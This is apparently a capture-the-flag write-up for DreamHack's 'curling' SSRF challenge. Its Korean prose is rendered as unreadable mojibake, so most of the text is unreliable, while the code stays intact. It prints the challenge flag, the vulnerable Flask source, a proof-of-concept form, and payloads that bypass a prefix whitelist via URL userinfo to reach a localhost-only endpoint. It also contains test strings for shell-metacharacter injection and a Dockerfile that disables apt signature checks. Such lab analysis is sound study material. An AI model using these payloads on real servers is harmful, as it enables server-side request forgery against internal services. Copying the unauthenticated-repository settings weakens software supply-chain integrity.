๋ฌธ์ : DreamHack โ curling ๋ถ๋ฅ: web ๋์ด๋: ๐ฅ Silver 2 FLAG:
DH{S5Rf_1s_funNy:IGk+ne69OJvKOBX8HCnl2g==}
๋ฌธ์ ์ค๋ช ์ ์ธ ๋จ์ด๋ค. "simple api server".
์ธ์คํด์ค๋ฅผ ์ผ๊ณ ๋ฃจํธ๋ก ๋ค์ด๊ฐ๋ฉด ์๋ฌด๊ฒ๋ ์๋ค. Flask ๊ธฐ๋ณธ 404 ๋ง ๋์์จ๋ค.

ํ๋ฉด์ผ๋ก ํ์ํ ๊ฒ ์๋ ๋ฌธ์ ๋ค. ๋์ ๋ฐฐํฌ๋ณธ ์์ค๊ฐ ํต์งธ๋ก ๋ค์ด ์๋ค. ์ฝ์ด ๋ณด๋ฉด 46์ค์ด๊ณ , ๊ทธ ์์ ๊ตฌ๋ฉ์ด ์ธ ๊ฐ ๊ฒน์ณ ์๋ค.
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | curling |
| ๋์ด๋ | ๐ฅ Silver 2 |
| ๋ถ๋ฅ | web |
| ์คํ | Python 3.10 ยท Flask ยท Werkzeug 3.1.8 ยท Debian buster |
| ์ ๊ณต ํ์ผ | deploy/app.py, deploy/requirements.txt, Dockerfile, flag |
| ๊ณต๊ฒฉ ํ๋ฉด | POST /api/v1/test/curl ์ url ํ๋ผ๋ฏธํฐ ํ๋ |
| ํต์ฌ ์ทจ์ฝ์ | ์ ๋์ฌ ๋น๊ต ํ์ดํธ๋ฆฌ์คํธ + URL userinfo ๋ฅผ ์ด์ฉํ SSRF |
ํ์ด ํ๋ฆ์ ์งง๋ค.
ํ๋๊ทธ๋ฅผ ์ฃผ๋ ์๋ํฌ์ธํธ๊ฐ 127.0.0.1 ์์๋ง ์ด๋ฆฐ๋ค.
์๋ฒ์๋ ์์์ URL ์ ๋์ curl ๋ก ๊ธ์ด ์ฃผ๋ ๊ธฐ๋ฅ์ด ์๋ค.
๊ทธ ๊ธฐ๋ฅ์ ํธ์คํธ ๊ฒ์ฌ๊ฐ ์ ๋์ฌ ๋น๊ต๋ผ์, ๋ชฉ์ ์ง๋ฅผ ๋ด๊ฐ ์ ํ ์ ์๋ค.
์ ๋ฆฌํ๋ฉด ์๋ฒ์๊ฒ "๋ค ์์ ์๊ฒ ์์ฒญ์ ๋ณด๋ด ๋ฌ๋ผ"๊ณ ์ํค๋ ๋ฌธ์ ๋ค. ์ ํ์ ์ธ SSRF ๊ตฌ๋์ธ๋ฐ, ๊ด๋ฌธ์ด ๋ ๊ฐ๋ผ ์ฐํ๋ ๋ ๊ฒน์ผ๋ก ๊ฒน์ณ์ผ ํ๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ โ 46์ค์ด ์ ๋ถ๋ค
๋ฐฐํฌ๋ณธ์ ํ๋ฉด ํ์ผ์ด ๋ท๋ฟ์ด๋ค. ์ด๋ ์ค์ ๋ด์ผ ํ๋์ง๋ถํฐ ์ก๊ณ ๋ค์ด๊ฐ๋ค.
find extracted -type f | sort ; grep -nE "route|ALLOWED_HOSTS|remote_addr|startswith|endswith|run\(" extracted/deploy/app.py
๋ผ์ฐํธ๋ ๋, ๊ฒ์ฌ๋ ๋์ด๋ค. ์ ๋ฌธ์ ์ด๋ ๋ค.
from flask import Flask, request
from os import urandom
from subprocess import run, TimeoutExpired
app = Flask(__name__)
app.secret_key = urandom(32)
try:
FLAG = open("/flag", "r").read().strip()
except:
FLAG = "[**FLAG**]"
ALLOWED_HOSTS = ['dreamhack.io', 'tools.dreamhack.io']
@app.route("/api/v1/test/curl", methods=["POST"])
def admin():
url = request.form["url"].strip()
for host in ALLOWED_HOSTS:
if url.startswith('http://' + host):
break
return {'result': False, 'msg': 'Not Allowed host'}
if url.endswith('/test/internal'):
return {'result': False, 'msg': 'Not Allowed endpoint'}
try:
response = run(
["curl", f"{url}"], capture_output=True, text=True, timeout=1
)
return {'result': True, 'msg': response.stdout}
except TimeoutExpired:
return {'result': False, 'msg': 'Timeout'}
@app.route('/api/v1/test/internal', methods=["GET"])
def test():
ip = request.remote_addr
if not ip == '127.0.0.1':
return {'result': False, 'msg': 'Only local access is allowed'}
return {'result': True, 'msg': FLAG}
if __name__ == '__main__':
app.run(host='0.0.0.0', port='8000')๋ชฉํ๋ ๋ช
ํํ๋ค. /api/v1/test/internal ์ด ํ๋๊ทธ๋ฅผ ์ค๋ค.
๋ค๋ง request.remote_addr ๊ฐ 127.0.0.1 ์ด์ด์ผ ํ๋ค.
๋ฐ์์ ๊ทธ๋ฅ ์ด์ด ๋ณด๋ฉด ๋น์ฐํ ๊ฑฐ์ ๋นํ๋ค.

๊ทธ๋ฌ๋๊น ํ์ํ ๊ฑด "์๋ฒ ์์์ ๋์จ ์์ฒญ"์ด๋ค.
๊ทธ๋ฆฌ๊ณ ์๋ฒ ์์์ ์์ฒญ์ ๋ง๋ค์ด ์ฃผ๋ ๊ธฐ๋ฅ์ด ๋ฐ๋ก ์์ ์๋ค. curl ์ ๋์ ์คํํด ์ฃผ๋ ๋ผ์ฐํธ๋ค.
์ฌ๊ธฐ์ ํ๋ ๋จผ์ ์ ์ด ๋ ๊ฒ ์๋ค. run(["curl", f"{url}"], ...) ๋ ๋ฆฌ์คํธ ์ธ์๋ค.
์
ธ์ ๊ฑฐ์น์ง ์์ผ๋ ;๋ $(...) ๊ฐ์ ๊ฑธ ๋ฃ์ด๋ ๊ทธ๋ฅ URL ๋ฌธ์์ด์ ์ผ๋ถ๊ฐ ๋๋ค.
๋ช
๋ น ์ฃผ์
์ชฝ์ ๊ธธ์ด ์๋๋ค. ๋ค์์ ์ค์ ์๋ต์ผ๋ก ํ์ธํ๋ค.
๐ฃ ๊ด๋ฌธ โ โ for ๋ฃจํ ์์ ๋ค์ด๊ฐ return
ํธ์คํธ ๊ฒ์ฌ๊ฐ ์ด๋ ๊ฒ ์๊ฒผ๋ค.
for host in ALLOWED_HOSTS:
if url.startswith('http://' + host):
break
return {'result': False, 'msg': 'Not Allowed host'}๋ค์ฌ์ฐ๊ธฐ๋ฅผ ๋ค์ ๋ณธ๋ค. return ์ด for ๋ธ๋ก ์์ ์๋ค.
์ฒซ ๋ฒ์งธ ์์๋ก ๋ฃจํ๊ฐ ํ ๋ฒ ๋๋ฉด, ์ ๋์ฌ๊ฐ ๋ง์ผ๋ฉด break, ์ ๋ง์ผ๋ฉด return ์ด๋ค.
์ด๋ ์ชฝ์ด๋ ๋ฃจํ๋ ์ฒซ ๋ฐํด์์ ๋๋๋ค. ๋ ๋ฒ์งธ ์์ tools.dreamhack.io ๋ ์์ํ ๊ฒ์ฌ๋์ง ์๋๋ค.
ํ์ดํธ๋ฆฌ์คํธ์ ๋ ๊ฐ๋ฅผ ์ ์ด ๋จ์ง๋ง ์ค์ ๋ก ๋์ํ๋ ๊ท์น์ ํ๋๋ฟ์ด๋ผ๋ ๋ป์ด๋ค.
url.startswith('http://dreamhack.io')๋ง๋ก๋ง ํ๋ฉด ๋ฏธ๋ฅ์ง ์์ผ๋ ๊ทธ ๋ฃจํ๋ง ๋ผ์ด ์์ ๋๋ ค ๋ดค๋ค.
# tools_loop_demo.py
ALLOWED_HOSTS = ['dreamhack.io', 'tools.dreamhack.io']
def check(url: str) -> bool:
"""app.py ์ for ๋ฃจํ ๊ทธ๋๋ก. True = ํต๊ณผ, False = 'Not Allowed host'."""
for host in ALLOWED_HOSTS:
if url.startswith('http://' + host):
break
return False # โ ์ด return ์ด ๋ฃจํ '์'์ ์๋ค
return True
CASES = [
'http://dreamhack.io/',
'http://tools.dreamhack.io/', # ํ์ดํธ๋ฆฌ์คํธ 2๋ฒ์งธ์ธ๋ฐ?
'http://dreamhack.io.attacker.test/',
'http://dreamhack.io@127.0.0.1:8000/',
'http://127.0.0.1:8000/',
]
print(f"ALLOWED_HOSTS = {ALLOWED_HOSTS}")
print(f"๋ฃจํ๊ฐ ์ค์ ๋ก ๊ฒ์ฌํ๋ ์์ ๊ฐ์: {1} (์ฒซ ์์์์ ๋ฌด์กฐ๊ฑด return/break)")
print()
for url in CASES:
print(f" {'ํต๊ณผ' if check(url) else '์ฐจ๋จ'} {url}")check() ์์ชฝ์ app.py 15~22ํ์ ํ ๊ธ์๋ ๋ฐ๊พธ์ง ์๊ณ ์ฎ๊ธด ๊ฒ์ด๋ค.
๋ฐ๊นฅ์ ์ถ๋ ฅ ๋ผ๋ฒจ์ ํ์ธ์ฉ์ผ๋ก ๋ด๊ฐ ๋ถ์๋ค.

์ธ ๋ฒ์งธ ์ค์ด ๋์ ๊ฑธ๋ฆฐ๋ค. http://dreamhack.io.attacker.test/ ๊ฐ ํต๊ณผ๋ค.
์ ๋์ฌ๋ง ๋ณด๋๊น ๊ทธ ๋ค์ ๋ญ ๋ถ์ด๋ ์๊ด์ด ์๋ค.
๊ทธ๋ฆฌ๊ณ ๋ค ๋ฒ์งธ ์ค. http://dreamhack.io@127.0.0.1:8000/ ๋ ํต๊ณผ๋ค.
์ด๊ฒ ์ด ๋ฌธ์ ์ ์ด์ ์ธ๋ฐ, ์ ์ด๊ฒ 127.0.0.1 ๋ก ๊ฐ๋์ง๋ ๊ด๋ฌธ โก ๋ฅผ ์ง๋๊ณ ๋์ ์ ๋ฆฌํ๋ค.
๐งช ๋ก์ปฌ ์ฌํ ํ๊ฒฝ๋ถํฐ ๋ง๋ ๋ค
๋ผ์ด๋ธ ์ธ์คํด์ค๋ VM ํฌ๋ ๋ง์ ๋จน๊ณ , ์๊ฐ์ ํ๋ ์๋ค. ์์ค๊ฐ ํต์งธ๋ก ์์ผ๋ ๋ก์ปฌ์์ ๋ค ๋๋ด ๋๊ณ ๋ง์ง๋ง์๋ง ๋ถ๋ ์ชฝ์ด ๋ซ๋ค.
๊ทธ๋ฐ๋ฐ ๋ฐฐํฌ๋ Dockerfile ์ ๊ทธ๋๋ก ๋น๋ํ๋ฉด ์คํจํ๋ค.
E: The repository 'http://deb.debian.org/debian buster-updates Release' does not have a Release file.python:3.10-slim-buster ๊ธฐ๋ฐ์ธ๋ฐ buster ๊ฐ EOL ๋ผ์ deb.debian.org ์์ ์ธ๋ฑ์ค๊ฐ ๋ด๋ ค๊ฐ๋ค.
์ถ์ ๋น์ ๋น๋๋ ์๋ฒ ์ด๋ฏธ์ง๋ ๋ฉ์ฉกํ ๋์ง๋ง, ์ง๊ธ ๋ด ์์์ ๋ค์ ๋น๋ํ๋ ค๋ฉด ์ ์ฅ์๋ฅผ ๊ฐ์๋ผ์์ผ ํ๋ค.
# Dockerfile.local โ ๋ฐฐํฌ๋ณธ๊ณผ ๋์ผํ๋ apt ์ ์ฅ์๋ง archive ๋ก
FROM python:3.10-slim-buster
ENV USER=dreamhack
ENV PORT=8000
RUN adduser --disabled-password $USER -u 1337
RUN printf '%s\n' \
'deb [check-valid-until=no] http://archive.debian.org/debian buster main' \
'deb [check-valid-until=no] http://archive.debian.org/debian-security buster/updates main' \
> /etc/apt/sources.list \
&& apt-get -o Acquire::AllowInsecureRepositories=true \
-o Acquire::AllowDowngradeToInsecureRepositories=true update -y \
&& apt-get -o APT::Get::AllowUnauthenticated=true install -y curl
WORKDIR /app
COPY ./extracted/deploy .
COPY ./extracted/flag /
RUN pip install -r requirements.txt
EXPOSE $PORT
CMD ["python3","app.py"]์๋ณธ์ ์๋ build-essential wget unzip ์ ๋บ๋ค. ์ด ๋ฌธ์ ์์ ์ค์ ๋ก ์ฐ์ด๋ ๊ฑด curl ํ๋๋ค.
์ปจํ
์ด๋ ์ 8000 ๋ฒ์ ํธ์คํธ 18000 ๋ฒ์ผ๋ก ๋นผ์ ๋์ด๋ค.
#!/usr/bin/env bash
# run_local.sh โ ๋ก์ปฌ ์ฌํ ํ๊ฒฝ ๊ธฐ๋
set -eu
cd "$(dirname "$(readlink -f "$0")")"
docker build -q -f Dockerfile.local -t curling-local .
docker rm -f curling-local >/dev/null 2>&1 || true
docker run -d --name curling-local -p 18000:8000 curling-local >/dev/null
sleep 2
docker ps --filter name=curling-local --format '{{.Names}} {{.Status}} {{.Ports}}'
echo "๋๋ด๋ ๋ก์ปฌ flag : $(cat extracted/flag)"
echo -n 'ํ์ฉ ํธ์คํธ ํต๊ณผ : '
curl -s -m 5 -X POST http://127.0.0.1:18000/api/v1/test/curl \
-d 'url=http://dreamhack.io/' | cut -c1-72
๋ฐฐํฌ๋ณธ์ ๋ค์ด ์๋ flag ํ์ผ ๋ด์ฉ์ DH{fake_flag} ๋ค.
์ง์ง ํ๋๊ทธ๋ ๋ฌธ์ ์๋ฒ ์ปจํ
์ด๋ ์ /flag ์๋ง ์๋ค.
๊ทธ๋ฌ๋ ๋ก์ปฌ์์ ํ์ธํ ์ ์๋ ๊ฑด "์ฒด์ธ์ด ๋์ํ๋๊ฐ"๊น์ง๊ณ , ๊ฐ ์์ฒด๋ ๋ง์ง๋ง์ ๋ผ์ด๋ธ์์ ๋ฐ์์ผ ํ๋ค.
ํ์ฉ ํธ์คํธ๋ก ์์ฒญํ๋ฉด dreamhack.io ์ 301 ์๋ต์ด ๊ทธ๋๋ก ๋์์จ๋ค.
์๋ฒ๊ฐ ์ ๋ง ๋ด ๋์ ๋๊ฐ์ ๊ธ์ด ์จ๋ค๋ ๋ป์ด๋ค. ์ฌ๊ธฐ๊น์ง๊ฐ ์ ์ ๋์์ด๋ค.
๐งฐ ์ฐ๋ฌ ๋ณด๊ธฐ โ POST ์ ์ฉ์ด๋ผ ํผ์ ํ๋ ๋ง๋ค์๋ค
/api/v1/test/curl ์ POST ๋ง ๋ฐ๋๋ค. ๋ธ๋ผ์ฐ์ ์ฃผ์์ฐฝ์ผ๋ก๋ ๋ชป ๊ฑด๋๋ฆฐ๋ค.
curl ๋ก๋ง ํด๋ ๋์ง๋ง, ์๋ต์ ๋์ผ๋ก ๋ณด๋ฉด์ ํ๋ผ๋ฏธํฐ๋ฅผ ๋ฐ๊ฟ ๋ณด๊ณ ์ถ์ด์ ํผ ํ์ด์ง๋ฅผ ํ๋ ๋ง๋ค์๋ค.
<!-- poc.html โ ๋ฐ์ท. action ์ ?target= ๋ก ๋๊ธด ๊ฐ์ผ๋ก ์คํฌ๋ฆฝํธ๊ฐ ์ฑ์ด๋ค -->
<form id="f" method="POST" action="">
<label for="url">url</label>
<input id="url" name="url" value="" autocomplete="off">
<button type="submit">send</button>
</form>
<script>
const target = new URLSearchParams(location.search).get("target");
if (target) document.getElementById("f").action = target.replace(/\/$/, "") + "/api/v1/test/curl";
</script>ํผ ์ ์ก์ CORS ์ ์ฝ์ ๋ฐ์ง ์์ผ๋ file:// ๋ก ์ด์ด ๋ ํ์ด์ง์์ ๋ฐ๋ก ์ ์ ์๋ค.

๋จผ์ ์๋ฌด ์ฐํ ์์ด ๋ด๋ถ ์ฃผ์๋ฅผ ๊ทธ๋๋ก ๋ฃ์ด ๋ณธ๋ค.

Not Allowed host. ์์๋๋ก ๊ด๋ฌธ โ ์์ ๋งํ๋ค.
http://dreamhack.io ๋ก ์์ํด์ผ ํ๋๋ฐ, ๊ทธ๋ฌ๋ฉด์ ๋ชฉ์ ์ง๋ 127.0.0.1 ์ด์ด์ผ ํ๋ค.
์ด ๋ ์กฐ๊ฑด์ ์ผํ ๋ชจ์์ฒ๋ผ ๋ณด์ธ๋ค. ๋ชจ์์ด ์๋๊ฒ ๋ง๋ค์ด ์ฃผ๋ ๊ฒ URL ๋ฌธ๋ฒ์ด๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ URL ์๋ ํธ์คํธ ์์ ์ฌ์ฉ์ ์ด๋ฆ์ ์ ๋ ์๋ฆฌ๊ฐ ์๋ค
RFC 3986 ์ authority ๋ ์ด๋ ๊ฒ ์๊ฒผ๋ค.
authority = [ userinfo "@" ] host [ ":" port ]@ ์์ userinfo, ๋ค๊ฐ ์ค์ host ๋ค.
http://user:pass@example.com/ ์ด ์ฐ๋ฆฌ๊ฐ ๊ฐ๋ ๋ณด๋ ๊ทธ ํํ๋ค.
๊ทธ๋์ ์ด๋ฐ URL ์,
http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal๋ฌธ์์ด๋ก ์ฝ์ผ๋ฉด http://dreamhack.io ๋ก ์์ํ๋ค.
URL ๋ก ํ์ฑํ๋ฉด host ๋ 127.0.0.1, ์ฌ์ฉ์ ์ด๋ฆ์ด dreamhack.io ๋ค.
startswith ๋ ์์ ํด์์ ํ๊ณ , curl ์ ๋ค์ ํด์์ ํ๋ค.
๊ฐ์ ๋ฌธ์์ด์ ๋ ์ฃผ์ฒด๊ฐ ๋ค๋ฅด๊ฒ ์ฝ๋ ๊ฒ โ ์ด ๋ฌธ์ ์ ์ ๋ถ๊ฐ ์ฌ๊ธฐ ์๋ค.
๋ง๋ณด๋ค curl -v ๊ฐ ๋น ๋ฅด๋ค. ๋ด PC ์
ธ์ด ์๋๋ผ ์ปจํ
์ด๋ ์์์ ํ์ธํ๋ค.
๋ฐฐํฌ Dockerfile ๊ณผ ๊ฐ์ ๋ฒ ์ด์ค ์ด๋ฏธ์ง๋ก ๋ง๋ ๊ฒ์ด๋ผ curl ๋ฒ์ ๋ ๋ฌธ์ ์๋ฒ ์ชฝ๊ณผ ๊ฐ์ ๊ณ์ด์ด๋ค.
docker exec curling-local sh -c "curl --version 2>&1 | sed -n '1p'; curl -sv 'http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal?' -o /dev/null"
์ฝ์ ์ค์ ์ ์ด๋ค.
| ์ถ๋ ฅ ์ค | ๋ป |
|---|---|
Connected to 127.0.0.1 (127.0.0.1) port 8000 | ์ค์ ๋ชฉ์ ์ง๋ ๋ฃจํ๋ฐฑ์ด๋ค |
Server auth using Basic with user 'dreamhack.io' | ํ์ดํธ๋ฆฌ์คํธ์ ์ ํ ํธ์คํธ๋ช ์ ๊ทธ๋ฅ ์ฌ์ฉ์ ์ด๋ฆ ์ทจ๊ธ |
Host: 127.0.0.1:8000 | ์๋ฒ๊ฐ ๋ฐ๋ Host ํค๋๋ ๋ฃจํ๋ฐฑ |
dreamhack.io ๋ก๋ DNS ์กฐํ์กฐ์ฐจ ํ์ง ์๋๋ค.
๊ฒ์ฌ๊ธฐ ์
์ฅ์์๋ง ํธ์คํธ์ผ ๋ฟ, curl ์๊ฒ๋ ์ธ์ฆ ์ ๋ณด๋ค.
๐ง ๊ด๋ฌธ โก โ ๋ฌธ์์ด ๋๋ง ๋ณด๋ ์ฐจ๋จ
๊ด๋ฌธ โ ์ ํต๊ณผํ URL ์ ๊ทธ๋๋ก ๋ฃ์ผ๋ฉด ์ด๋ฒ์ ๋ค๋ฅธ ๋ฉ์์ง๊ฐ ๋์จ๋ค.

๋ ๋ฒ์งธ ๊ฒ์ฌ์ ๊ฑธ๋ ธ๋ค.
if url.endswith('/test/internal'):
return {'result': False, 'msg': 'Not Allowed endpoint'}์ด๊ฒ๋ URL ์ ํ์ฑํ์ง ์๋๋ค. ๋ด๊ฐ ๋ณด๋ธ ๋ฌธ์์ด์ ๋ง์ง๋ง 14๊ธ์๋ง ๋ณธ๋ค.
๊ทธ๋ฌ๋ฉด ์กฐ๊ฑด์ ํ๋๋ก ์ ๋ฆฌ๋๋ค.
curl ์ด ๋ณด๋ด๋ ์์ฒญ์ ๊ฒฝ๋ก๋ /api/v1/test/internal ๋ก ์ ์งํ๋ฉด์,
๋ด๊ฐ ํผ์ ์ ๋ ๋ฌธ์์ด์ /test/internal ๋ก ๋๋์ง ์๊ฒ ๋ง๋ค๋ฉด ๋๋ค.
๋ฌธ์์ด์ ๋๊ณผ ์์ฒญ์ ๊ฒฝ๋ก๊ฐ ์ด๊ธ๋๋ ์ง์ ์ ์ฐพ๋ ๋ฌธ์ ๊ฐ ๋๋ค.
๐งฑ ๋ฐฐ๊ฒฝ โ SSRF ๋ "๋๊ฐ ์์ฒญํ๋๊ฐ"๋ฅผ ๋ฐ๊พธ๋ ๊ณต๊ฒฉ์ด๋ค
์ ๊น ์ ๋ฆฌํ๊ณ ๊ฐ๋ค. ์ด ๋ฌธ์ ๊ฐ ์ SSRF ์ธ์ง, ๊ทธ๋ฆฌ๊ณ ์ ์ด ๊ตฌ์กฐ๊ฐ ํํ์ง์ ๋ํด์๋ค.
Server-Side Request Forgery ๋ ์ด๋ฆ ๊ทธ๋๋ก ์๋ฒ๊ฐ ๋์ ์์ฒญ์ ๋ณด๋ด๊ฒ ๋ง๋๋ ๊ณต๊ฒฉ์ด๋ค. URL ๋ฏธ๋ฆฌ๋ณด๊ธฐ, ์นํ ๋ฑ๋ก, ์ด๋ฏธ์ง ํ๋ก์, ํฌ์ค์ฒดํฌ โ ์ฌ์ฉ์๊ฐ ์ค ์ฃผ์๋ก ์๋ฒ๊ฐ ๋๊ฐ๋ ๊ธฐ๋ฅ์ ์ด๋์๋ ์๋ค.
์ด๊ฒ ์ ๋ฌธ์ ๊ฐ ๋๋๋ฉด, ๋คํธ์ํฌ ์ ์์น๊ฐ ๊ณง ๊ถํ์ผ๋ก ์ฐ์ด๋ ๊ณณ์ด ๋ง๊ธฐ ๋๋ฌธ์ด๋ค.
๋ด๋ถ๋ง ๊ด๋ฆฌ ํ์ด์ง๋ "์ด์ฐจํผ ๋ฐ์์ ๋ชป ๋ค์ด์ค๋๊น" ์ธ์ฆ์ด ์๋ค.
ํด๋ผ์ฐ๋ ๋ฉํ๋ฐ์ดํฐ ์๋น์ค(169.254.169.254)๋ ์ธ์คํด์ค ์์์ ๋ถ๋ฅด๋ฉด ์๊ฒฉ์ฆ๋ช
์ ์ค๋ค.
๋ฐ์ดํฐ๋ฒ ์ด์ค๋ ์บ์ ์๋ฒ๋ ์ฌ์ค ๋์ญ์์๋ง ์ด๋ ค ์๋ค.
๊ณต๊ฒฉ์๊ฐ ์ง์ ๊ทธ ์ฃผ์๋ก ๋ชป ๊ฐ๋๋ผ๋, ๊ทธ ์์ ์๋ ์๋ฒ๊ฐ ๋์ ๊ฐ ์ฃผ๋ฉด ๊ฒฐ๊ณผ๋ ๊ฐ๋ค. ์์ฒญ์ ์ถ์ฒ๊ฐ ๊ณต๊ฒฉ์์์ ์๋ฒ๋ก ๋ฐ๋๋ ๊ฒ โ ๊ทธ๊ฒ SSRF ๊ฐ ํ๋ ์ง์ ์ด๋ค.
์ด ๋ฌธ์ ๋ ๊ทธ ๊ตฌ๋๋ฅผ ์ต์ ๋จ์๋ก ์ค์ฌ ๋์๋ค.
"๋ด๋ถ"๊ฐ ์ฌ์ค ๋์ญ๋ ํด๋ผ์ฐ๋ ๋ฉํ๋ฐ์ดํฐ๋ ์๋๊ณ ๊ทธ๋ฅ 127.0.0.1 ์ด๊ณ ,
๊ทธ ์์ ์๋ ์์์ด ํ๋๊ทธ๋ค.
ip = request.remote_addr
if not ip == '127.0.0.1':
return {'result': False, 'msg': 'Only local access is allowed'}์ด ์ธ ์ค์ด "์์น = ๊ถํ" ๊ทธ ์์ฒด๋ค. ๊ทธ๋ฆฌ๊ณ ๊ฐ์ ํ๋ก์ธ์ค ์์ ์์ URL ์ ๋์ ๊ธ์ด ์ฃผ๋ ๊ธฐ๋ฅ์ด ๋ถ์ด ์์ผ๋, ์์น๋ ๋น๋ ค ์ธ ์ ์๋ ๊ฒ์ด ๋๋ค.
๊ทธ๋์ SSRF ๋ฌธ์ ๋ฅผ ๋ง๋๋ฉด ๋ณด๋ ์์๊ฐ ์ ํด์ ธ ์๋ค.
์ฒซ์งธ, ์๋ฒ๊ฐ ๋์ ์์ฒญ์ ๋ณด๋ด๋ ์ง์ ์ด ์ด๋์ธ๊ฐ. ๋์งธ, ๋ชฉ์ ์ง๋ฅผ ์ผ๋ง๋ ๋ด ๋ง์๋๋ก ์ ํ ์ ์๋. ์ ์งธ, ๊ทธ ์๋ฒ ์์น์์๋ง ์ด๋ฆฌ๋ ์์์ด ๋ฌด์์ธ๊ฐ.
์ด ๋ฌธ์ ๋ ์ ์ด ์ ๋ถ ํ ํ์ผ ์์ ์๋ค. 46์ค์ง๋ฆฌ ๊ต๋ณด์ฌ์ธ ์ ์ด๋ค.
๐ ์ฝ์ง โ ๋จผ์ ์๋ ๊ธธ๋ค์ ์ง์ ๋ค
โถ๐ณ๏ธ ์ฝ์ง 1 โ ์ ธ ๋ฉํ๋ฌธ์๋ถํฐ ๋ฃ์ด ๋ดค๋ค
subprocess ๋ก curl ์ ๋ถ๋ฅธ๋ค๋ ๊ฑธ ๋ณด๊ณ ๋ฐ์ฌ์ ์ผ๋ก ๋ช
๋ น ์ฃผ์
๋ถํฐ ์ฐ๋ ๋ค.
url=http://dreamhack.io/;id ๊ฐ์ ๊ฒ๋ค์ด๋ค.
๋์์จ ๊ฑด id ๊ฒฐ๊ณผ๊ฐ ์๋๋ผ dreamhack.io ์ 301 ํ์ด์ง์๋ค.
๋น์ฐํ๋ค. ํธ์ถ์ด ์ด๋ ๊ฒ ์๊ฒผ๋ค.
run(["curl", f"{url}"], capture_output=True, text=True, timeout=1)๋ฆฌ์คํธ๋ฅผ ๋๊ธฐ๋ฉด shell=False ๊ฐ ๊ธฐ๋ณธ์ด๊ณ , execve ๋ก ๋ฐ๋ก ์คํ๋๋ค.
; ๋ $( ) ๋ ์
ธ์ ๋ง๋์ง ๋ชปํ๋ ๊ทธ๋ฅ URL ๋ฌธ์์ด์ ์ผ๋ถ๋ค.
์ธ์ ์ฃผ์
(-o ๊ฐ์ ์ต์
์ ๋ผ์ ๋ฃ๋ ๊ฒ)๋ ์ ๋๋ค.
URL ์ ์ฒด๊ฐ argv[1] ํ๋๋ก ๋ค์ด๊ฐ๊ณ , ๊ทธ๋ง์ ๋ http://dreamhack.io ๋ก ์์ํด์ผ ํ๋ค.
โถ๐ณ๏ธ ์ฝ์ง 2 โ ํ์ดํธ๋ฆฌ์คํธ 2๋ฒ์งธ ํธ์คํธ๊ฐ ์คํ๋ ค ๋งํ๋ค
ALLOWED_HOSTS ์ tools.dreamhack.io ๊ฐ ์ ํ ์๊ธธ๋
๊ทธ์ชฝ์ ์คํ ๋ฆฌ๋ค์ด๋ ํธ๋ ํ๋ก์ ๊ธฐ๋ฅ์ด ์๋์ง ์ฐพ์๋ณด๋ ค ํ๋ค.
๊ทธ๋ฐ๋ฐ ๊ทธ ํธ์คํธ๋ก ์์ฒญํ๋ฉด Not Allowed host ๊ฐ ๋์์จ๋ค.
ํ์ฉ ๋ชฉ๋ก์ ์ ํ ํธ์คํธ๊ฐ ํ์ฉ๋์ง ์๋๋ค.
๊ด๋ฌธ โ ์ return ์์น ๋๋ฌธ์ด๋ค.
๋ฃจํ๊ฐ ์ฒซ ์์์์ ๋๋๋ 2๋ฒ์งธ ์์๋ ์ฝ๋์ ์ ํ๋ง ์๊ณ ์คํ๋์ง ์๋๋ค.
๋ฒ๊ทธ๊ฐ ๋ฐฉ์ด๋ฅผ ๋ซ๋ ๋ฐ ์ฐ์ด๊ธฐ ์ ์, ๋จผ์ ์ ์ ๊ธฐ๋ฅ์ ๋ง๊ฐ๋จ๋ฆฌ๊ณ ์์๋ ์ ์ด๋ค. ์ด๊ฑธ ํ์ธํ๊ณ ๋์์ผ "์ ํ ๊ท์น"์ด ์๋๋ผ "์คํ๋๋ ๊ท์น"๋ง ๋ณด๊ธฐ๋ก ํ๋ค.
โถ๐ณ๏ธ ์ฝ์ง 3 โ ๊ฒฝ๋ก ๋ค์ ์๋ฌด๊ฑฐ๋ ๋ถ์ด๋ฉด ๋ ์ค ์์๋ค
endswith ๋ฅผ ๊นจ๋ ค๊ณ ์์ ์กํ๋ ๋๋ก ๋ถ์ฌ ๋ดค๋๋ฐ, ์ ๋ฐ์ ์ ๋จน์๋ค.
# tools_deadends.py โ ๋งํ ์๋๋ค๋ง ๋ชจ์ ์๋ต์ ํ์ธํ๋ค
CASES = [
("์
ธ ๋ฉํ๋ฌธ์ ์ฃผ์
", "http://dreamhack.io/;id"),
("์
ธ ์ปค๋งจ๋ ์นํ", "http://dreamhack.io/$(id)"),
("ํ์ดํธ๋ฆฌ์คํธ 2๋ฒ์งธ", "http://tools.dreamhack.io/"),
("๋์ ์ฌ๋์", "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal/"),
("๋์ ๊ณต๋ฐฑ", "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal "),
("์ฌ๋์ ์ค๋ณต", "http://dreamhack.io@127.0.0.1:8000/api/v1//test/internal"),
]
for label, url in CASES:
try:
msg = requests.post(BASE, data={"url": url}, timeout=10).json().get("msg", "")
except Exception as e: # noqa: BLE001
msg = f"<{e.__class__.__name__}>"
msg = " ".join(str(msg).split())
print(f" {pad(label, 22)} {msg[:64]}")
ํ๋์ฉ ์ด์ ๊ฐ ๋ค๋ฅด๋ค.
๋์ ์ฌ๋์ โ ๊ฒ์ฌ๋ ํต๊ณผํ๋ค. ๊ทธ๋ฐ๋ฐ Flask ๊ฐ 404 ๋ฅผ ๋ธ๋ค.
@app.route('/api/v1/test/internal') ์ฒ๋ผ ์ฌ๋์ ์์ด ๋ฑ๋ก๋ ๊ท์น์
์ฌ๋์๊ฐ ๋ถ์ ๊ฒฝ๋ก๋ฅผ ๊ฐ์ ๊ฒ์ผ๋ก ์ณ ์ฃผ์ง ์๋๋ค. ๊ฒ์ฌ๋ฅผ ์ง๋๊ณ ๋ผ์ฐํ
์์ ์ฃฝ์๋ค.
๋์ ๊ณต๋ฐฑ โ ์ ์ด์ ์๋ฒ๊ฐ ๋จผ์ ์ง์ด๋ค. ์ฒซ ์ค์ด request.form["url"].strip() ์ด๋ค.
๊ณต๋ฐฑ์ ๋ถ์ฌ ๋ดค์ endswith ๊ฒ์ฌ ์์ ์ ์ด๋ฏธ ์๋ค.
